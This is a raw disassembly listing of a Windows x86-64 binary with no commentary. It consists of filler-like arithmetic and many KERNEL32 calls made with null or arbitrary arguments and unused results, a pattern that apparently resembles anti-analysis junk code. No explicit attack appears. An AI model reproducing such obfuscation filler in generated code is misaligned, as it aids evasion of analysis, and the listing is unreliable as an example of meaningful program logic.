mov byte [rsp + 0xa6], al
movzx eax, word [rsp + 0xd4c]
mov word [rsp + 0xe90], ax
mov rcx, qword [rsp + 0x9460]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x90e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc84]
add eax, ecx
mov word [rsp + 0xbd4], ax
movzx eax, byte [0x1401e6037]
mov byte [rsp + 0xe1], al
mov eax, dword [rsp + 0x46c4]
mov ecx, dword [rsp + 0x46cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4378], eax
mov rax, qword [rsp + 0x9cd0]
mov ecx, dword [rsp + 0x473c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x450c], eax
lea rax, [rsp + 0xa3f0]
mov qword [rsp + 0xa838], rax
mov r9d, 0x10f7
xor r8d, r8d
lea rdx, [rsp + 0x9718]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4478], eax
mov rax, qword [rsp + 0x9578]
mov rcx, qword [rsp + 0x92c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x95f8], rax
mov rax, qword [rsp + 0x9060]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa688]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [0x1401e602c], ax
mov rax, qword [rsp + 0xa560]
movzx eax, word [rax]
mov word [rsp + 0xe94], ax
mov rax, qword [rsp + 0xa460]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa230]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8fc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9d68]
movsx eax, byte [rax]
mov rcx, qword [0x1401e7648]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x79], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0xa840], rax
mov rcx, qword [rsp + 0x9148]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4358], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x90b0], rax
movzx eax, word [rsp + 0xc20]
mov word [rsp + 0xe98], ax
mov rax, qword [rsp + 0x9fe8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x424c]
shl eax, cl
mov rcx, qword [rsp + 0x9ae8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c70]
mov qword [rsp + 0xa848], rax
mov rax, qword [rsp + 0x9850]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa558]
mov qword [rsp + 0xa850], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa850]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x97b8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4544]
mov ecx, dword [rsp + 0x4388]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x43b0], eax
mov rax, qword [rsp + 0x8ca0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9a98]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e605f], al
mov rax, qword [rsp + 0x94a8]
movzx eax, byte [rax]
mov byte [rsp + 0xe2], al
movzx eax, word [rsp + 0xb9c]
mov rcx, qword [rsp + 0xa7e8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9fc0]
mov word [rcx], ax
movzx eax, byte [0x1401e605b]
mov byte [rsp + 0xe3], al
movzx eax, byte [rsp + 0x7d]
mov rcx, qword [rsp + 0x9028]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x9518]
mov qword [rsp + 0xa858], rax
mov rax, qword [rsp + 0x9878]
mov ecx, dword [rsp + 0x4428]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x43f8], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x8d98], rax
mov rax, qword [rsp + 0xa690]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa788]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa1b8]
mov qword [rcx], rax
lea rax, [rsp + 0x42c4]
mov qword [rsp + 0xa860], rax
movsx eax, word [rsp + 0xe38]
movsx ecx, word [rsp + 0xb68]
sub eax, ecx
mov rcx, qword [0x1401e74c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xad]
mov rcx, qword [rsp + 0x99c8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c68]
movzx eax, byte [rax]
mov byte [rsp + 0xe4], al
mov rax, qword [rsp + 0x9350]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc24]
add eax, ecx
mov rcx, qword [rsp + 0xa0e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x95a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9eb0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa650]
mov word [rcx], ax
mov eax, dword [rsp + 0x4718]
mov dword [rsp + 0x4744], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rcx, qword [rsp + 0xa220]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4748], eax
mov rax, qword [0x1401e7410]
mov rcx, qword [rsp + 0xa578]
mov qword [rsp + 0xa868], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa868]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x91f8], rax
mov edx, 0x19e9d1
mov rcx, qword [rsp + 0x95c8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4350], eax
mov rax, qword [rsp + 0xa838]
mov rax, qword [rax]
mov qword [rsp + 0xa870], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa288], rax
mov rax, qword [rsp + 0xa158]
mov ecx, dword [rsp + 0x4378]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9698]
mov dword [rcx], eax
lea rax, [0x1401e602f]
mov qword [0x1401e76a8], rax
movzx eax, word [rsp + 0xda0]
mov rcx, qword [rsp + 0xa6b8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc8c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xa878], rax
lea rax, [rsp + 0xc50]
mov qword [rsp + 0xa880], rax
mov rax, qword [rsp + 0x9b68]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e601f]
shl eax, cl
mov rcx, qword [rsp + 0xa508]
mov byte [rcx], al
lea rax, [rsp + 0xcbc]
mov qword [rsp + 0xa888], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov rax, qword [rsp + 0x9530]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c98]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9128], rax
mov rax, qword [rsp + 0x9dc0]
mov ecx, dword [rsp + 0x4404]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x423c], eax
mov rax, qword [rsp + 0x99f8]
mov qword [rsp + 0xa890], rax
mov rax, qword [rsp + 0xa820]
mov rcx, qword [rsp + 0xa298]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa618]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9920]
movzx eax, byte [rax]
mov byte [rsp + 0xe5], al
mov rax, qword [0x1401e7618]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb7]
add eax, ecx
mov byte [0x1401e6062], al
mov rax, qword [rsp + 0x9c20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9db0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xdfc], ax
movzx eax, word [0x1401e6040]
mov word [rsp + 0xe9c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
movsx eax, byte [rsp + 0xcf]
mov rcx, qword [rsp + 0x9d08]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x9ee8]
mov ecx, dword [rsp + 0x43bc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9bf0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa298]
mov eax, dword [rax]
mov dword [rsp + 0x474c], eax
mov rax, qword [rsp + 0xa218]
mov rcx, qword [rsp + 0xa238]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9348]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa4e0]
mov qword [rsp + 0xa898], rax
movsx eax, word [rsp + 0xc30]
mov rcx, qword [rsp + 0x8e20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe78], ax
movzx eax, word [rsp + 0xe50]
mov rcx, qword [rsp + 0x9b20]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e7450]
mov word [rcx], ax
movsx eax, word [rsp + 0xc30]
movsx ecx, word [rsp + 0xd98]
or eax, ecx
mov word [rsp + 0xde8], ax
lea rcx, [rsp + 0x25480]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rax, [rsp + 0xd0c]
mov qword [rsp + 0xa8a0], rax
mov rax, qword [rsp + 0xa008]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
sar eax, cl
mov byte [rsp + 0x81], al
lea rax, [rsp + 0x4538]
mov qword [rsp + 0xa8a8], rax
mov rax, qword [rsp + 0x9700]
movzx ecx, al
mov rax, qword [0x1401e7420]
shl rax, cl
mov rcx, qword [rsp + 0x9c88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x97a8]
mov ecx, dword [rsp + 0x4714]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x42d4], eax
lea rdx, [rsp + 0x28260]
mov rcx, qword [rsp + 0x9dd0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4750], eax
lea rax, [rsp + 0xa0f0]
mov qword [rsp + 0xa8b0], rax
mov rax, qword [0x1401e7460]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92b8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9ed0]
mov word [rcx], ax
movzx ecx, word [rsp + 0xb88]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc94], ax
lea rax, [rsp + 0xc40]
mov qword [0x1401e76b0], rax
movzx eax, byte [rsp + 0x67]
mov byte [rsp + 0xe6], al
mov rax, qword [rsp + 0x99b0]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e602f]
add eax, ecx
mov byte [rsp + 0xa1], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1660
mov rcx, qword [rsp + 0x9890]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4754], eax
lea rdx, [rsp + 0x94b8]
mov rcx, qword [rsp + 0x9148]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x45c4], eax
mov rax, qword [rsp + 0xa2e8]
movzx eax, byte [rax]
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0x8f20]
mov rcx, qword [rsp + 0x9360]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9e38]
mov rcx, qword [rsp + 0x9f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x43d4], eax
mov rax, qword [rsp + 0x95e8]
mov qword [rsp + 0xa8b8], rax
mov eax, dword [rsp + 0x45a8]
mov ecx, dword [rsp + 0x43b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x474c], eax
lea rax, [0x1401e601f]
mov qword [rsp + 0xa8c0], rax
movzx eax, word [rsp + 0xc2c]
movzx ecx, word [rsp + 0xda8]
sub eax, ecx
mov word [0x1401e7678], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9028]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa630]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5d], al
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov rax, qword [rsp + 0x9630]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5b]
and eax, ecx
mov byte [rsp + 0xde], al
mov rax, qword [rsp + 0x9cd8]
movzx eax, word [rax]
mov word [rsp + 0xea0], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xa140], rax
mov ecx, MakeDragList
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x43c0], eax
movzx eax, word [rsp + 0xda0]
movzx ecx, word [rsp + 0xcf4]
sub eax, ecx
mov word [rsp + 0xc2c], ax
mov rax, qword [rsp + 0x9aa0]
mov eax, dword [rax]
mov dword [rsp + 0x4758], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xe185
mov rcx, qword [rsp + 0xa220]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x475c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [rsp + 0xa8a8]
mov ecx, dword [rsp + 0x46c8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4600], eax
mov rax, qword [rsp + 0xa730]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9948]
mov qword [rsp + 0xa8c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa8c8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9a58], rax
lea rax, [0x1401e7420]
mov qword [rsp + 0xa8d0], rax
movzx eax, word [rsp + 0xcdc]
mov word [0x1401e76b8], ax
movsx eax, byte [rsp + 0x9a]
mov rcx, qword [rsp + 0xa400]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x94b0]
mov byte [rcx], al
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x41c8], eax
movzx eax, byte [rsp + 0xd7]
mov byte [rsp + 0xe8], al
mov rax, qword [rsp + 0xa5e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9b60]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0xbb8], ax
mov edx, 0xccd
mov rcx, qword [rsp + 0x9178]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x447c], eax
mov rax, qword [rsp + 0x97e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9868]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x93a8]
mov byte [rcx], al
mov rax, qword [0x1401e6008]
mov qword [rsp + 0xa8d8], rax
mov rax, qword [rsp + 0x90a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x97c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa0b0]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xa8e0], rax
mov eax, dword [rsp + 0x44cc]
mov dword [rsp + 0x4760], eax
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4620], eax
movzx ecx, word [rsp + 0xc48]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd60], ax
mov rax, qword [rsp + 0x9b00]
mov ecx, dword [0x1401e6018]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9a78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd00]
sub eax, ecx
mov word [0x1401e6040], ax
lea rax, [rsp + 0xe34]
mov qword [rsp + 0xa8e8], rax
movsx eax, word [rsp + 0xb64]
mov rcx, qword [rsp + 0x9f30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xbb0], ax
mov rax, qword [rsp + 0x9820]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x85]
sub eax, ecx
mov rcx, qword [rsp + 0xa790]
mov byte [rcx], al
lea rax, [rsp + 0x77]
mov qword [rsp + 0xa8f0], rax
mov rax, qword [rsp + 0x91a8]
mov rcx, qword [rsp + 0x9458]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x45b8], eax
lea rax, [rsp + 0x9288]
mov qword [rsp + 0xa8f8], rax
mov rax, qword [rsp + 0xa8b8]
mov rcx, qword [rsp + 0x8c70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4e0], rax
mov eax, dword [rsp + 0x452c]
mov ecx, dword [rsp + 0x46a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4420], eax
lea rax, [rsp + 0x83]
mov qword [0x1401e76c0], rax
movzx eax, word [rsp + 0xe34]
mov word [rsp + 0xea4], ax
movsx eax, word [rsp + 0xcdc]
movsx ecx, word [0x1401e76b8]
add eax, ecx
mov rcx, qword [rsp + 0x9b78]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea rcx, [rsp + 0x26998]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2ae1
mov r9d, 0x26ef
mov r8d, 0x95fc4aa8
mov edx, 2
mov rcx, qword [rsp + 0x95b0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4514], eax
mov rax, qword [rsp + 0x99b8]
movzx eax, byte [rax]
mov byte [rsp + 0xe9], al
movsx eax, byte [rsp + 0x64]
movsx ecx, byte [rsp + 0x8a]
and eax, ecx
mov byte [rsp + 0x96], al
mov rax, qword [rsp + 0xa7d8]
mov rcx, qword [rsp + 0x9c10]
mov qword [rsp + 0xa900], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa900]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x9ef8]
mov qword [rcx], rax
lea rax, [rsp + 0x9b70]
mov qword [rsp + 0xa908], rax
mov rax, qword [rsp + 0x9658]
mov ecx, dword [rsp + 0x424c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9620]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4734]
mov dword [rsp + 0x4764], eax
mov rax, qword [0x1401e7540]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa0b8]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401e60a0], ax
mov rax, qword [rsp + 0x99b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa4b0]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x93d8]
mov byte [rcx], al
lea rax, [rsp + 0x66]
mov qword [rsp + 0xa910], rax
mov rax, qword [rsp + 0x99f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9818]
mov word [rcx], ax
mov rcx, qword [rsp + 0x9aa8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4768], eax
movzx eax, word [rsp + 0xe60]
movzx ecx, word [rsp + 0xe40]
sub eax, ecx
mov rcx, qword [rsp + 0x91c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa068]
mov eax, dword [rax]
mov dword [rsp + 0x476c], eax
mov rax, qword [rsp + 0x9030]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4370]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x44bc], eax
mov rax, qword [rsp + 0x9ef8]
mov rax, qword [rax]
mov qword [rsp + 0xa918], rax
mov rax, qword [0x1401e6008]
mov rcx, qword [rsp + 0x92a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a58], rax
lea rdx, [rsp + 0x28298]
mov rcx, qword [rsp + 0xa190]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4578], eax
mov rcx, qword [rsp + 0x9cb8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4770], eax
lea rax, [rsp + 0xbe]
mov qword [0x1401e76c8], rax
lea rcx, [rsp + 0x9c60]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9750]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe04]
sub eax, ecx
mov word [rsp + 0xcbc], ax
lea rax, [rsp + 0x73]
mov qword [rsp + 0xa920], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov rax, qword [rsp + 0x8fe8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9ec0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x80], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9860], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0xa928], rax
lea rcx, [rsp + 0xa930]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rcx, qword [rsp + 0x9b98]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4490], eax
mov eax, dword [0x1401e6018]
mov ecx, dword [rsp + 0x4420]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4520], eax
mov rax, qword [rsp + 0x9c08]
mov rcx, qword [rsp + 0x92f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4404], eax
mov r9d, 0x13f4
xor r8d, r8d
lea rdx, [rsp + 0xa840]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x42f4], eax
lea rax, [rsp + 0x9048]
mov qword [rsp + 0xa938], rax
lea rcx, [rsp + 0x25638]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rcx, qword [rsp + 0x91e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x46a0], eax
mov rax, qword [rsp + 0x9ea8]
mov rcx, qword [rsp + 0x8cc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9408]
mov qword [rcx], rax
movsx eax, word [rsp + 0xba0]
movsx ecx, word [rsp + 0xbe8]
add eax, ecx
mov word [0x1401e6050], ax
mov rax, qword [rsp + 0x9b20]
movzx eax, word [rax]
mov word [rsp + 0xea8], ax
mov rcx, qword [rsp + 0x9890]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4774], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0x9888]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa698]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xcf], al
lea rdx, [rsp + 0x46fc]
mov rcx, qword [rsp + 0xa180]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45e0], eax
mov rax, qword [rsp + 0x91c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xd50], ax
mov rax, qword [rsp + 0xa1c8]
movzx eax, byte [rax]
mov byte [rsp + 0xea], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa940], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x7b8
mov rcx, qword [rsp + 0x9b90]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4774], eax
mov eax, dword [0x1401e6018]
movzx ecx, al
mov eax, dword [rsp + 0x4378]
shr eax, cl
mov rcx, qword [rsp + 0x8f00]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
lea rax, [rsp + 0x9778]
mov qword [rsp + 0xa948], rax
mov eax, dword [rsp + 0x4404]
mov rcx, qword [rsp + 0x92f8]
mov qword [rsp + 0xa950], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa950]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x423c], eax
lea rax, [rsp + 0x9ab8]
mov qword [rsp + 0xa958], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0xe78]
movsx ecx, word [rsp + 0xd54]
xor eax, ecx
mov word [0x1401e60b0], ax
mov rax, qword [rsp + 0x94a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9728]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x58], al
mov rax, qword [0x1401e7540]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc4c]
add eax, ecx
mov word [rsp + 0xbc8], ax
lea rax, [rsp + 0xce]
mov qword [rsp + 0xa960], rax
movzx eax, word [rsp + 0xd10]
movzx ecx, word [rsp + 0xe58]
sub eax, ecx
mov word [rsp + 0xc10], ax
mov qword [rsp + 0x20], 0
mov r9d, 0x1a4e
mov r8d, 0x31c2
mov edx, 0x68
mov rcx, qword [rsp + 0x9410]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x44d8], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4754], eax
mov rax, qword [rsp + 0xa5f8]
mov rax, qword [rax]
mov qword [rsp + 0xa968], rax
mov rax, qword [rsp + 0x9aa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4758]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x46d0], eax
mov rax, qword [rsp + 0x9850]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa1a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa330], rax
mov rax, qword [rsp + 0xa750]
mov eax, dword [rax]
mov dword [rsp + 0x4778], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
movsx eax, byte [rsp + 0x8e]
mov rcx, qword [rsp + 0xa710]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9de8]
mov byte [rcx], al
lea rcx, str.Divisions_Prefatory_Loosely
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xeac], ax
movzx eax, byte [rsp + 0x97]
mov rcx, qword [0x1401e7680]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401e76c0]
mov byte [rcx], al
lea rax, [rsp + 0xde0]
mov qword [rsp + 0xa970], rax
movzx eax, word [rsp + 0xc1c]
movzx ecx, word [rsp + 0xbd0]
sub eax, ecx
mov rcx, qword [rsp + 0xa6b8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe2]
movzx ecx, byte [rsp + 0xd3]
add eax, ecx
mov rcx, qword [rsp + 0xa7b0]
mov byte [rcx], al
lea rax, [rsp + 0x46f8]
mov qword [rsp + 0xa978], rax
mov rax, qword [rsp + 0x96d8]
mov rcx, qword [rsp + 0x9d28]
mov qword [rsp + 0xa980], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa980]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xa890], rax
mov rax, qword [rsp + 0x8cc0]
mov rax, qword [rax]
mov qword [rsp + 0xa988], rax
mov rax, qword [rsp + 0x9120]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [section..data]
shl eax, cl
mov rcx, qword [rsp + 0x91a8]
mov dword [rcx], eax
lea rcx, [rsp + 0x2a120]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x45f0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
movzx eax, word [rsp + 0xc34]
movzx ecx, word [rsp + 0xbe0]
xor eax, ecx
mov rcx, qword [rsp + 0x9db0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x66]
movsx ecx, byte [rsp + 0xa7]
or eax, ecx
mov byte [0x1401e741a], al
